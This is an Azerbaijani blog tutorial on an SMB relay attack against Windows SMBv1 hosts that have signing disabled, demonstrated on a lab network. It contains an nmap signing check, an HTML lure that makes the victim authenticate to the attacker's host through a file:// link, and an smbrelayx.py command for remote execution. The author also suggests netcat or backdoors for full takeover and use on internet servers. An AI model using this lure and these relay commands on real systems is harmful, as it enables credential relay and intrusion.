Blackhat.az

Loading...

Blackhat.az

Register

Cyber Security - Exploitation - Hacking - Pentest - Uncategorized @az - Vulnerability test - 14 February 2021

“SMB relay” hücumu ilə uzaqdan Windows attack

SMB – Samba adı verilən bu servis windows əməliyyat sistemlərində müxtəlif boşluqlara yol aça bilməkdədir. Bu məqalədə isə SMB sigining disable olan serverlər üzərində boşluğu test edəcəyik. Default olaraq Linux Debian əməliyyat sistemi istifadə edəcəyik.

Bizə lazım olanlar:
Linux / Debian
Nmap
POC script

İlk öncə qeyd edim ki, hücum Windows 7 əməliyyat sistemində SMB v1 servisi üzərində yerinə yetirilir. Bu başqa smb versiyalarında keçərli olmaya bilər!

SMB sigining (imzası) nədir?
SMB imzası, rəqəmsal şəkildə imzalanan SMB paketlərinin həqiqiliyini və bütövlüyünü təmin etməsinə imkan verən bir təhlükəsizlik mexanizmidir – müştəri (client) və server, qəbul etdikləri SMB paketlərinin etibarlı bir mənbədən gəldiyini göstərən mexanizmdir. Bu mexanizm sayəsində MİTM (ortadakı adam) hücum növünün qarşısı alınır. Lakin, bu mexanizm aktiv olmadıqda çeşidli problemlərə yol açılır. Əgər SMB imzalama (signing) mexanizmi aktiv olmazsa o zaman gedib gələn dataları siz silə və ya dəyişdirə bilərsiniz. Biz bu gün bu prosesi həyəta keçirib remote code execution (kənardan kod çalışdırma) prinsipini yerinə yetiririk.

Virtual izzah üçün şəbəkəni bu şəkildə qurdum :

10.0.0.5 – Mənim İP adresim
10.0.0.2 – Hədəf 1 (məlumatları göndərən)
10.0.0.6 – Hədəf 2 (məlumatları qəbul edən)

İP adresləri ağlınızda tutun ki, asanlıqla anlaya biləsiniz.

Wiki:
QEYD: Hücumun uğulu olması üçün hədəf 2 nin Administrator və ya Domain Admini olması gərəklidir.

İlk öncə hədəf 2 ni nmap scriptləri ilə, SMB sigining boşluğunun olub olmadığın test edirik:


nmap -p 445 10.0.0.6 -sS --script smb-security-mode.nse

Nmap vasitəsi ilə hədəfi scan edirik.

(Disabled dangerous, but defult) mesajın aldıqda artıq hədəfdə boşluğun olduğun görürük.

İndi isə qarşı tərəfin SMB vasitəsi ilə bizdən fayl çağırmasını təmin etməliyik. Bunun üçün müxtəlif üsullar var. Ən sadə olaraq html fayl içində link olaraq istifadəsini təmin etməkdir.

HTML:
numune.html
<html>
    <h1>xoshgeldiniz!</h1>
    <img src="file://10.0.0.5/download.jpg">
</html>

Qarşı tərəf bu html faylı yükləyib icra edərsə (və ya internet explorer) üzərində istifadə edərsə biz hədəfi bizim hücum etdiyimiz sistemdə authenticate etməyə məcbur etmiş oluruq. Yəni, hədəf 2 (10.0.0.6) bizim sistemdə(10.0.0.5) authentikasiya açmış olur.

Dəyək ki, qarşı tərəf faylı icra etdi. Qarşı tərəf:

İndi isə öz sistemimizdə qarşı tərəfdən gələn sorğunu qəbul etmək üçün python faylımızı işə salırıq. smbrelayx.py adlı bu faylı istifadə etdikdə artıq qarşı tərəfdə istədiyimiz kodu icra edə bilərik. Məsələn, uzaqdan qarşı tərəfdə “ipconfig” komandası icra edək.

Qeyd: Əgər hücumu genişləndirmək istəyirsinizsə müxtəlif komandalar ilə (netcat, backdoor kimi metodlar ilə) qarşı tərəfi təmamilə ələ keçirə bilərik.

smbrelayx.py -h 10.0.0.6 -c "ipconfig"

 

Öz komandamızı icra etdikdə qarşı tərəfdə həmin komanda icra olunur:

 

Python faylı yükləyin: https://raw.githubusercontent.com/SecureAuthCorp/impacket/master/examples/smbrelayx.py

Bu hücumu uğurla yerinə yetirə bilən şəxslər nəyinki local şəbəkədə, ümumi internet şəbəkələrində müxtəlif serverlərdə bu hücumu gerçəkləşdirə bilər.
Mövzunu maksimum dərəcə açıq şəkildə izzah etməyə çalışdım. Əgər hər hansı çətinlik olarsa bunun video izzahin hazırlaya bilərik. Hər kəsə uğurlar !